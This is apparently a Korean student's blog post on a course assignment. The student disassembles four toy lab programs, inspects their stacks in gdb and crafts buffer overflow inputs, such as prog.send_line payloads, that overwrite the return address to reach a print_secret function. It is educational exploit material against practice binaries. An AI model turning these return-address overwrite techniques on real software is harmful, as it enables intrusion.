본문으로 건너뛰기

23.05.22.

Today I Learned

  • 컴시개

컴시개

Buffer Overflow

해커 간접체험을 했다. 하나의 과제에 디셈블, 버퍼오버플로우, gdb 디버깅을 녹여낸 최재승교수님 그는 대체...


Array

   0x00000000004006f3 <+0>: sub    $0x38,%rsp
0x00000000004006f7 <+4>: mov $0x400858,%edi
0x00000000004006fc <+9>: callq 0x400510 <puts@plt>
0x0000000000400701 <+14>: mov %rsp,%rdi
0x0000000000400704 <+17>: mov $0x0,%eax
0x0000000000400709 <+22>: callq 0x400550 <gets@plt>
0x000000000040070e <+27>: mov $0x0,%eax
0x0000000000400713 <+32>: jmp 0x400718 <string_test+37>
0x0000000000400715 <+34>: add $0x1,%eax
0x0000000000400718 <+37>: movslq %eax,%rdx
0x000000000040071b <+40>: cmpb $0x0,(%rsp,%rdx,1)
0x000000000040071f <+44>: jne 0x400715 <string_test+34>
0x0000000000400721 <+46>: cmp $0x3,%eax
0x0000000000400724 <+49>: jg 0x40076a <string_test+119>
0x0000000000400726 <+51>: mov $0x400880,%edi
0x000000000040072b <+56>: callq 0x400510 <puts@plt>
0x0000000000400730 <+61>: mov $0x1,%edi
0x0000000000400735 <+66>: callq 0x400570 <exit@plt>
0x000000000040073a <+71>: movslq %ecx,%rsi
0x000000000040073d <+74>: mov %eax,%edx
0x000000000040073f <+76>: sub %ecx,%edx
0x0000000000400741 <+78>: sub $0x1,%edx
0x0000000000400744 <+81>: movslq %edx,%rdx
0x0000000000400747 <+84>: movzbl (%rsp,%rdx,1),%edi
0x000000000040074b <+88>: cmp %dil,(%rsp,%rsi,1)
0x000000000040074f <+92>: je 0x400765 <string_test+114>
0x0000000000400751 <+94>: mov $0x400892,%edi
0x0000000000400756 <+99>: callq 0x400510 <puts@plt>
0x000000000040075b <+104>: mov $0x1,%edi
0x0000000000400760 <+109>: callq 0x400570 <exit@plt>
0x0000000000400765 <+114>: add $0x1,%ecx
0x0000000000400768 <+117>: jmp 0x40076f <string_test+124>
0x000000000040076a <+119>: mov $0x0,%ecx
0x000000000040076f <+124>: cmp %eax,%ecx
0x0000000000400771 <+126>: jl 0x40073a <string_test+71>
0x0000000000400773 <+128>: mov $0x4008a8,%edi
0x0000000000400778 <+133>: callq 0x400510 <puts@plt>
0x000000000040077d <+138>: add $0x38,%rsp
0x0000000000400781 <+142>: retq

exit을 만나면 main함수로 돌아가는게 아니라 상황이 강제 종료된다. 올바른 배열을 집어넣으며 bufferoverflowf를 일으켜야 했다.
3보다 크고, 모든 배열이 같은 배열이 조건이라고 생각했는데 아니였다.
0x000000000040074b <+88>: cmp %dil,(%rsp,%rsi,1)를 주목해서 봐야했다.
%edi는 arr[rdx]의 값을 가지고, (%rsp,%rsi,1)는 arr[MAX_LENGTH-1-rdx]값을 가져 +88에서는 회문인지를 검사하는 비교를 진행한다.
회문이면서 57,58,59번째자리에 overflow를 발생시키면 main함수로의 return address에 burffer overflow를 발생시킬 수 있으므로
prog.send_line("\x40\x06\x86"+"A"*53+"\x86\x06\x40")가 정답이다.


Array Integer

   0x0000000000400713 <+0>: sub    $0x98,%rsp
0x000000000040071a <+7>: mov $0x400848,%edi
0x000000000040071f <+12>: callq 0x400530 <puts@plt>
0x0000000000400724 <+17>: lea 0x88(%rsp),%rdx
0x000000000040072c <+25>: lea 0x8c(%rsp),%rsi
0x0000000000400734 <+33>: mov $0x40085c,%edi
0x0000000000400739 <+38>: mov $0x0,%eax
0x000000000040073e <+43>: callq 0x400580 <__isoc99_scanf@plt>
0x0000000000400743 <+48>: cmp $0x2,%eax
0x0000000000400746 <+51>: je 0x400754 <use_array+65>
0x0000000000400748 <+53>: mov $0x400862,%edi
0x000000000040074d <+58>: callq 0x400530 <puts@plt>
0x0000000000400752 <+63>: jmp 0x400766 <use_array+83>
0x0000000000400754 <+65>: movslq 0x8c(%rsp),%rax
0x000000000040075c <+73>: mov 0x88(%rsp),%edx
0x0000000000400763 <+80>: mov %edx,(%rsp,%rax,4)
0x0000000000400766 <+83>: add $0x98,%rsp
0x000000000040076d <+90>: retq

Array를 선언하고, 두개의 정수를 입력받는다. 첫번째 입력값은 0x88(%rsp)에, 두번쨰 입력값은 0x8c(%rsp),%rsi에 저장한다.
0x0000000000400713 <+0>: sub $0x98,%rsp이므로 %rsp+152에 접근해 buffer overflow를 발생시켜야 하고, 모든 입력을 받은상태에서 %edx,(%rsp,%rax,4)를 호출한다.
각각 %edx, %rax는 0x8c(%rsp),%rax, 0x88(%rsp),%edx로부터 값을 가져오므로, 첫번째 입력에 38, 두번째 입력에 print_secret의 주소의 10진수인 4196006을 주면 정답이다.


SafeRead

   0x0000000000400713 <+0>: push   %rbx
0x0000000000400714 <+1>: sub $0x40,%rsp
0x0000000000400718 <+5>: movq $0x0,0x30(%rsp)
0x0000000000400721 <+14>: movq $0x0,0x38(%rsp)
0x000000000040072a <+23>: movq $0x0,0x10(%rsp)
0x0000000000400733 <+32>: movq $0x0,0x18(%rsp)
0x000000000040073c <+41>: movq $0x0,0x20(%rsp)
0x0000000000400745 <+50>: movq $0x0,0x28(%rsp)
0x000000000040074e <+59>: mov $0x400888,%edi
0x0000000000400753 <+64>: callq 0x400530 <puts@plt>
0x0000000000400758 <+69>: lea 0x10(%rsp),%rbx
0x000000000040075d <+74>: jmp 0x40079c <echo+137>
0x000000000040075f <+76>: movzbl 0x30(%rsp),%eax
0x0000000000400764 <+81>: add $0x1,%eax
0x0000000000400767 <+84>: mov %al,0x30(%rsp)
0x000000000040076b <+88>: lea 0xf(%rsp),%rsi
0x0000000000400770 <+93>: mov $0x4008b0,%edi
0x0000000000400775 <+98>: mov $0x0,%eax
0x000000000040077a <+103>: callq 0x400580 <__isoc99_scanf@plt>
0x000000000040077f <+108>: test %eax,%eax
0x0000000000400781 <+110>: jns 0x400788 <echo+117>
0x0000000000400783 <+112>: movb $0x0,(%rbx)
0x0000000000400786 <+115>: jmp 0x4007a5 <echo+146>
0x0000000000400788 <+117>: movzbl 0xf(%rsp),%eax
0x000000000040078d <+122>: cmp $0xa,%al
0x000000000040078f <+124>: jne 0x400796 <echo+131>
0x0000000000400791 <+126>: movb $0x0,(%rbx)
0x0000000000400794 <+129>: jmp 0x4007a5 <echo+146>
0x0000000000400796 <+131>: mov %al,(%rbx)
0x0000000000400798 <+133>: add $0x1,%rbx
0x000000000040079c <+137>: movzbl 0x30(%rsp),%eax
0x00000000004007a1 <+142>: cmp $0x20,%al
0x00000000004007a3 <+144>: jle 0x40075f <echo+76>
0x00000000004007a5 <+146>: lea 0x10(%rsp),%rdi
0x00000000004007aa <+151>: callq 0x400530 <puts@plt>
0x00000000004007af <+156>: add $0x40,%rsp
0x00000000004007b3 <+160>: pop %rbx
0x00000000004007b4 <+161>: retq

정확한 디셈블링을 통해 답을 구할 수 있으면 좋겠지만, 복잡한 어셈블리 코드는 분석하기가 어려웠다.
디셈블보단 gdb디버깅을 통해 답을 찾아봤다.

(gdb) b * 0x40077f
Breakpoint 1 at 0x40077f
(gdb) r
Starting program: /sogang/under/cse20201593/assembly/hw2/2-4/saferead
(Safe version) Input your message:
aaaaaaaaaabbbbbbbbbbccccccccccdddddddddd

입력을 받은 후에 breakpoint를 걸고, 프로그램을 실행해 적당한 입력값을 넣어본다.

Breakpoint 1, 0x000000000040077f in echo ()
(gdb) x/10xg $rsp
0x7fffffffe3f0: 0x0000000000000000 0x6100000000000000
0x7fffffffe400: 0x0000000000000061 0x0000000000000000
0x7fffffffe410: 0x0000000000000000 0x0000000000000000
0x7fffffffe420: 0x0000000000000002 0x0000000000000000
0x7fffffffe430: 0x0000000000000000 0x00000000004007be
(gdb) c
Continuing.

Breakpoint 1, 0x000000000040077f in echo ()
(gdb) x/10xg $rsp
0x7fffffffe3f0: 0x0000000000000000 0x6100000000000000
0x7fffffffe400: 0x0000000000006161 0x0000000000000000
0x7fffffffe410: 0x0000000000000000 0x0000000000000000
0x7fffffffe420: 0x0000000000000003 0x0000000000000000
0x7fffffffe430: 0x0000000000000000 0x00000000004007be
(gdb) c
Continuing.

Breakpoint 1, 0x000000000040077f in echo ()
(gdb) x/10xg $rsp
0x7fffffffe3f0: 0x0000000000000000 0x6100000000000000
0x7fffffffe400: 0x0000000000616161 0x0000000000000000
0x7fffffffe410: 0x0000000000000000 0x0000000000000000
0x7fffffffe420: 0x0000000000000004 0x0000000000000000
0x7fffffffe430: 0x0000000000000000 0x00000000004007be

rsp+15에 해당하는 위치에 입력받은 문자열의 아스키값이 뜨고, 해당배열은 rsp+16부터 저장된다.
rsp+48에서 들어온 문자열의 갯수를 센다. 어셈블리코드를 살펴보면, rsp+48의 값과 32를 비교하며 작거나 같을때까지 반복한다. 그럼 32번 반복해보자.

Breakpoint 1, 0x000000000040077f in echo ()
(gdb) x/10xg $rsp
0x7fffffffe3f0: 0x0000000000000000 0x6400000000000000
0x7fffffffe400: 0x6161616161616161 0x6262626262626161
0x7fffffffe410: 0x6363636362626262 0x6464636363636363
0x7fffffffe420: 0x0000000000000021 0x0000000000000000
0x7fffffffe430: 0x0000000000000000 0x00000000004007be

32번 반복되었을때 rsp+16부터 시작한 배열이 rsp+47번까지 꽉찬다.

(gdb) ni
0x0000000000400798 in echo ()
(gdb) x/10xg $rsp
0x7fffffffe3f0: 0x0000000000000000 0x6400000000000000
0x7fffffffe400: 0x6161616161616161 0x6262626262626161
0x7fffffffe410: 0x6363636362626262 0x6464636363636363
0x7fffffffe420: 0x0000000000000064 0x0000000000000000
0x7fffffffe430: 0x0000000000000000 0x00000000004007be

0x0000000000400798 <+133>: add $0x1,%rbx에서 %rbx는 반복문의 조건문에 해당하는 rsp+48에 도달하고 이 값을 입력값으로 대체한다.
해당값은 32와 비교되어 반복문의 종료를 야기한다. 즉, bufferoverflow를 일으키기위해선 이 입력값을 32보다 작은 값으로 넣으면 된다. 그리고 main함수로의 return address에 도달하면 print_secret의 주소값으로 대치시킨다.
코드에서 볼 수 있듯 add 0x40 %rsp 외에도 push된 rbx가 있으므로, 56개의 32보다 작은 더미값을 넣고 이후 print_secret의 주소를 넣으면 된다.
prog.send_line("\x02"*56+"\xa6\x06\x40")


구조체 manage

   0x0000000000400968 <+0>: push   %rbx
0x0000000000400969 <+1>: sub $0x110,%rsp
0x0000000000400970 <+8>: mov $0x0,%ebx
0x0000000000400975 <+13>: callq 0x400803 <usage>
0x000000000040097a <+18>: mov $0x4,%esi
0x000000000040097f <+23>: mov %rsp,%rdi
0x0000000000400982 <+26>: callq 0x400834 <safe_gets>
0x0000000000400987 <+31>: test %eax,%eax
0x0000000000400989 <+33>: js 0x4009c6 <manage_students+94>
0x000000000040098b <+35>: movzbl (%rsp),%eax
0x000000000040098f <+39>: cmp $0x41,%al
0x0000000000400991 <+41>: jne 0x4009a4 <manage_students+60>
0x0000000000400993 <+43>: mov %ebx,%esi
0x0000000000400995 <+45>: lea 0x10(%rsp),%rdi
0x000000000040099a <+50>: callq 0x400886 <add_student>
0x000000000040099f <+55>: add $0x1,%ebx
0x00000000004009a2 <+58>: jmp 0x400975 <manage_students+13>
0x00000000004009a4 <+60>: cmp $0x55,%al
0x00000000004009a6 <+62>: jne 0x4009b6 <manage_students+78>
0x00000000004009a8 <+64>: mov %ebx,%esi
0x00000000004009aa <+66>: lea 0x10(%rsp),%rdi
0x00000000004009af <+71>: callq 0x4008e7 <update_major>
0x00000000004009b4 <+76>: jmp 0x400975 <manage_students+13>
0x00000000004009b6 <+78>: cmp $0x45,%al
0x00000000004009b8 <+80>: je 0x4009c6 <manage_students+94>
0x00000000004009ba <+82>: mov $0x400af5,%edi
0x00000000004009bf <+87>: callq 0x400600 <puts@plt>
0x00000000004009c4 <+92>: jmp 0x400975 <manage_students+13>
0x00000000004009c6 <+94>: add $0x110,%rsp
0x00000000004009cd <+101>: pop %rbx
0x00000000004009ce <+102>: retq

saferead와 마찬가지로 디셈블링은 불가능해보여 gdb디버깅으로 해결했다.

(gdb) b * 0x40099f
Breakpoint 1 at 0x40099f
(gdb) r
Starting program: /sogang/under/cse20201593/assembly/hw2/2-5/manage
<Menu>
A. Add a new student
U. Update the major of a student
E. Exit
A
Input student name (maxlen=8):
111
Input student major (maxlen=8):
111
Added a new student (ID = 0)

Breakpoint 1, 0x000000000040099f in manage_students ()
(gdb) x/36xg $rsp
0x7fffffffe320: 0x00007ffff7000041 0x0000000000000000
0x7fffffffe330: 0x00007f0000313131 0x00007f0000313131
0x7fffffffe340: 0x0000000000000000 0x00007fffffffe360
0x7fffffffe350: 0x000000006562b026 0x00007ffff7b99727
0x7fffffffe360: 0x00000000ffffffff 0x00007ffff7ffe718
0x7fffffffe370: 0x00007ffff7ffa280 0x00007ffff7ffe700
0x7fffffffe380: 0x0000000000000002 0x0000000000000000
0x7fffffffe390: 0x0000000000000000 0x0000000000000000
0x7fffffffe3a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3e0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3f0: 0x0000000000000000 0x0000000000000000
0x7fffffffe400: 0x0000000000000001 0x0000000000400a3d
0x7fffffffe410: 0x0000000000000000 0x0000000000000000
0x7fffffffe420: 0x00000000004009f0 0x00000000004006a0
0x7fffffffe430: 0x0000000000000000 0x00000000004009d8

학생정보하나를 입력해보고 rsp를 확인해본다. rsp+16에 학생이름, rsp+24에 학생전공이 입력되었다.

(gdb) c
Continuing.
<Menu>
A. Add a new student
U. Update the major of a student
E. Exit
A
Input student name (maxlen=8):
222
Input student major (maxlen=8):
333
Added a new student (ID = 1)

Breakpoint 1, 0x000000000040099f in manage_students ()
(gdb) x/36xg $rsp
0x7fffffffe320: 0x00007ffff7000041 0x0000000000000000
0x7fffffffe330: 0x00007f0000313131 0x00007f0000313131
0x7fffffffe340: 0x0000000000323232 0x00007f0000333333
0x7fffffffe350: 0x000000006562b026 0x00007ffff7b99727
0x7fffffffe360: 0x00000000ffffffff 0x00007ffff7ffe718
0x7fffffffe370: 0x00007ffff7ffa280 0x00007ffff7ffe700
0x7fffffffe380: 0x0000000000000002 0x0000000000000000
0x7fffffffe390: 0x0000000000000000 0x0000000000000000
0x7fffffffe3a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3d0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3e0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3f0: 0x0000000000000000 0x0000000000000000
0x7fffffffe400: 0x0000000000000001 0x0000000000400a3d
0x7fffffffe410: 0x0000000000000000 0x0000000000000000
0x7fffffffe420: 0x00000000004009f0 0x00000000004006a0
0x7fffffffe430: 0x0000000000000000 0x00000000004009d8

다음 학생정보를 입력해보면, 다음 stack공간 8개에 학생이름, 그 다음 stack공간 8개에 학생전공이 등록된다.
즉, return address가 위치하는 rsp+0x118까지 더미정보를 입력하고, return address위치에 print_secret 주소를 입력하면 된다. 반복문으로 16개의 더미정보를 입력, 17번째 학생의 전공에 print_secret의 주소를 넣으면 정답이다.